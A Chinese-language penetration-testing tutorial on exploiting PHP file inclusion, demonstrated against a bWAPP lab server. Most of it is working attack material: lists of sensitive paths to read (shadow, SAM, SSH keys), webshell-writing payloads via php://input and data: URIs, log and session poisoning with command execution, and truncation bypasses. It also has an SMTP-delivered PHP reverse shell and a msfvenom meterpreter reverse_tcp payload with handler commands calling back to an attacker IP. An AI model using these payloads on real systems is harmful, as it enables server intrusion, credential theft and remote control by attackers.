0x01 下面是常用的一些php包含函数,没列完,详细用法大家还是自己看手册吧,上面说的比较详细:
1 2 3 4 5 6 7
| inluce() inluce_once() require() require_once() fopen() readfile() ……
|
0x02 php本地包含简单利用过程[LFI]:
1), 搜集各种目标服务器的各种敏感路径,后面可能会利用到这些,这里写的不全,有整理好的fuzzdb,大家可以参考那个:
win 各类敏感文件路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| c:\WINDOWS\system32\eula.txt c:\boot.ini c:\WINDOWS\win.ini c:\WINNT\win.ini c:\WINDOWS\Repair\SAM c:\WINDOWS\php.ini c:\WINNT\php.ini c:\Program Files\Apache Group\Apache\conf\httpd.conf c:\Program Files\Apache Group\Apache2\conf\httpd.conf c:\Program Files\xampp\apache\conf\httpd.conf c:\php\php.ini c:\php5\php.ini c:\php4\php.ini c:\apache\php\php.ini c:\xampp\apache\bin\php.ini c:\home2\bin\stable\apache\php.ini c:\home\bin\stable\apache\php.ini c:\Program Files\Apache Group\Apache\logs\access.log c:\Program Files\Apache Group\Apache\logs\error.log
|
linux 各类敏感路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| /var/log/apache2/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/error_log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_ log /usr/local/apache/logs/access. log /var/log/apache/access_log /var/log/apache2/access_log /var/log/apache/access.log /var/log/access_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_ log ../../../../../../../usr/local/apache/logs/access. log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_l og ../../../../../../../usr/local/apache/logs/error.l og ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache/error.log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log
|
高权限的情况下,可以先顺便看看目标系统的各类系统配置文件,说不定在这里就已经有收获了,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/net/fib_trie /proc/version /proc/self/environ c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ /etc/issue /etc/motd /etc/passwd /etc/group /etc/resolv.conf /etc/shadow .htaccess config.php authorized_keys id_rsa id_rsa.keystore id_rsa.pub known_hosts .bash_history .mysql_history .my.cnf
|
2),选择要包含的对象:
普通权限下的包含:
利用php的各种伪协议[主要是控制文件流输出即写文件
,可能你还要对你所要写的那个目录有写权限才行] ,利用条件[这些信息全部可以在phpinfo中看到]:
1 2
| 小于5.0 即使allow_url_include=Off 可用 大于5.0 只有allow_url_fopen=on才能用
|
利用 php://input 写shell
1 2
| http://192.168.3.10/bWAPP/rlfi.php?language=php://input&action=go POST: <?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["request"]);$sl();?>') ?>
|
利用 data: 写shell
1 2
| <?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["sec"]);$sl();?>') ?> 编码前的webshell http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain,<?php fputs(fopen("infos.php","a"),'<?php $sl = create_function("", @$_REQUEST["klionsec"]);$sl();?>') ?>&action=go
|
1
| http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oIkhFTFBTLnBocCIsImEiKSwnPD9waHAgJHNsID0gY3JlYXRlX2Z1bmN0aW9uKCIiLCBAJF9SRVFVRVNUWyJzZWMiXSk7JHNsKCk7Pz4nKSA/Pg==&action=go
|
利用 php://filter 读取目标敏感文件 [可以是相对,绝对和远程路径{ftp,http}]
1
| http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/resource=./admin/settings.php&action=go 最好不要用这个,貌似不能写,读不出来
|
1 2
| 把读出来的内容base64解码一下,就可以看到明文内容了 http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=./admin/settings.php&action=go
|
利用 zip:// 传shell
1
| http://192.168.3.10/bWAPP/rlfi.php?language=zip://./options.zip%23options&action=go 这里的
|
利用 phar:// 原理同上
1
| http://192.168.3.10/bWAPP/rlfi.php?language=phar://./ex.phar%23ex&action=go 也不太好使
|
利用 expect://ls 可直接执行系统命令,自己多次尝试并未成功,且默认该模块是没有启用的
尝试把一句话放到user-agent或者请求里面 [注意编码,用burp拦下改过来或者直接用nc就好了],然后想办法去包含目标的web访问日志文件
前提是你要找到这些日志文件的物理路径才行],另外,还有一点需要说明下,对于一些正常企业的web服务器来讲,他们的日志一般都是按日期切割保存的,即使被你侥幸猜到了访问日志的文件名,但单个日志文件也仍然是比较大的,显然,这时再去包含日志就很不明智了
说这个,并不是想说这种方法不管用,实际渗透你要按你自己目标的实际情况来,对了,顺便再补充一句,虽然,访问日志的文件很大,但你还可以包含错误日志呀
1 2 3 4 5 6
| GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 这里不一定非要用一句话,你还是尝试把它直接换成一个上传表单或者直接从远程下载webshell也是可以的 Host: 192.168.3.10 Connection: close http://192.168.3.10/bWAPP/rlfi.php?language=/var/log/apache2/access.log&action=go&cmd=w
|
跟包含日志差不你也可以把一句话放到user-agent中然后包含/proc/self/environ这个系统环境变量,用法同上,不再赘述
尝试包含服务端的session文件,想要包含session,你务必要先确定这个session的文件名,不出意外的情况下,这个session文件名应该是PHPSESSID加上’sess_’前缀,一般会被放到下面的这里目录中,另外,利用的时候动作务必要快,因为一个session 如果长时间没动作,很快就会被回收[php自身的垃圾回收机制]
1 2 3 4 5
| 可能存放session的一些目录: /var/lib/php5/ /var/lib/php/ /tmp/ ……
|
session 内容一般都是类似下面的这种形式,不过前提是你要能控制这段session才行:
1 2
| login|s:3:"bee";admin|s:1:"1";token|s:40:"c0c7fa8b6d373ad173fe7d99019a183d3bd3d888";amount|i:1000; http:
|
包含自己上传到目标机器的的其他文件 [如,图片马(不一定非要用真正的图片马,如果验证不是很严,随便一个shell改下后缀就好了),txt,附件……]
1
| http://192.168.3.10/bWAPP/rlfi.php?language=/var/www/shell.jpg&action=go&cmd=id
|
通过目标邮件来反弹shell [实际渗透中暂时还没尝试过,本地也未成功,后期搞清楚问题在哪里,再更新上来]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| # smtp-user-enum -M VRFY -U /home/weak_wordlist/userall.txt -t 192.168.3.10 先来枚举下目标系统有哪些用户 # telnet 192.168.3.10 25 HELO localhost mail from:<root> rcpt to:<www-data> data <?php set_time_limit(0); $VERSION = "1.0"; $ip = "192.168.3.9"; $port = 80; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;
|
配合phpinfo来包含,其实也是包含临时文件的一种方法,可惜没有成功,初步估计是脚本的问题,后期手工再试试,成功以后会把过程再更新上来
0x03 包含时经常会遇到的一些问题
1
| %00 ? 后面拼接有多余的后缀,可利用各种空字节来尝试截断,当然啦,转义开关肯能需要关上, php小于 5.3.4可行
|
尝试超长路径截断,在正常的路径后面跟上超长字符,可用.小于5.2.8,如下:
1 2 3
| /var/log/apache2/error.log......................................................................................... ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error.log /var/log/apache2/error.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
|
有时候可能会有过滤路径分隔符的问题,可以尝试用%2F代替
如果后端是类似白名单的检查,就不太好过了,正在学习中……希望表哥们能多多提携
问题其实还有很多很多,正在学习中,待续……
0x04 php远程包含[RFI]:
1 2 3
| 利用条件: allow_url_fopen=On allow_url_include=On
|
简要利用过程[基本同上,同样,如果是那种白名单的检查,想过还是比较难的]:
1
| http://192.168.3.10/bWAPP/rlfi.php?language=http://192.168.3.9/phpinfoupload.html&action=go
|
0x05 最后,还有一个比较好用的利用方式,就是直接利用msf的php payload 弹回一个meterpreter的shell,有一个功能完备的shell这是我们所期望的:
先装个小工具,等会儿要用到
1 2 3
| # apt-get install xclip -y # alias pbcopy='xclip -selection clipboard' # alias pbpaste='xclip -selection clipboard -o'
|
先用msf生成好php的payload,之后稍微处理下
1 2
| # msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.9 LPORT=53 -f raw > shell.php # cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
本地监听准备先准备好
1 2 3 4 5 6
| msf > use exploit/multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.3.9 msf exploit(handler) > set lport 53 msf exploit(handler) > exploit -j
|
这时尝试包含我们msf的php shell,访问之后,shell顺利弹回,注意,这期间浏览器会一直处于阻塞状态,直到会话断开,粗略的看了一眼代码,应该是在用php循环的发socket,这个shell应该比菜刀的一句话强多了吧
后话:
以后文章中的所有漏洞利用过程,尽量会全部在本地搭环境重现[其实,实际渗透跟这个也差不太远,主要是可能会出各种各样的问题,仅仅就差那个解决问题的过程没掌握到而已],公开的东西,用实例始终是不太好的,大家谅解哈,关于php包含实际渗透中能用到的,我自己所知道的可能就这些了,希望表哥们能把自己压箱底的家伙都共享出来,小弟好多多学习……